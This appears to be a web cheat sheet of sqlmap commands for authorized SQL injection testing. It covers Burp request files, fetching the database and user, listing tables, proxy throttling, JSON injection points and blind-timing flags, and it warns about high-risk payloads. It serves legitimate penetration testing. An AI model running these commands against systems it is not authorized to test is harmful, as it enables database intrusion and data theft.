sqlmap Cheat Sheet: Authorized SQL Injection Verification

Safe, controlled sqlmap flags for testing captured Burp HTTP requests, tuning --level and --risk, rate limiting, and verifying parameterization.

Interactive Target Variable Replacer

Change the target domain below and every command block on this page updates to match.

Command Reference

1. Test a Saved Burp Request File Safely

Load raw HTTP headers, cookies, and POST body from a file and test a single parameter.

sqlmap -r request.txt -p id --batch --level=2 --risk=1 --banner

2. Verify Current Database & User Only

Minimal proof-of-concept query without dumping sensitive customer tables.

sqlmap -r request.txt -p id --batch --current-db --current-user

3. Specify Backend DBMS Explicitly

Skip broad fingerprinting when you already know the database engine (postgresql, mysql, mssql).

sqlmap -r request.txt -p id --dbms=postgresql --technique=BEU --batch

4. List Tables in a Specific Schema

Enumerate table names for an authorized database schema.

sqlmap -r request.txt -D app_production --tables --batch

5. Throttle Requests & Route Through Burp Proxy

Add a 1-second delay between requests and inspect all traffic in Burp Suite.

sqlmap -r request.txt -p id --proxy="http://127.0.0.1:8080" --delay=1 --threads=1

6. Test JSON or GraphQL POST Payloads

Mark the exact injection point inside complex JSON with an asterisk (*).

sqlmap -u "https://example.com/api/search" --data='{"query":"test*"}' -H "Content-Type: application/json" --batch

7. Use Random User-Agent & Flush Session Cache

Start a clean test run with a standard browser User-Agent header.

sqlmap -r request.txt -p id --random-agent --flush-session --batch

8. Time-Based Blind SQLi Tuning

Increase --time-sec on high-latency links to avoid false positives.

sqlmap -r request.txt -p id --technique=T --time-sec=5 --batch

Frequently Asked Questions

What do the letters in --technique=BEUSTQ mean?

B = Boolean-based blind, E = Error-based, U = UNION query-based, S = Stacked queries, T = Time-based blind, and Q = Inline queries.

Why should pentesters keep --risk=1 on production-like systems?

Higher risk levels (--risk=3) include OR-based payloads that can evaluate to TRUE across an entire table, potentially altering every row if the vulnerable query happens to be an UPDATE or DELETE statement.


Related Guides, Tools & Cheat Sheets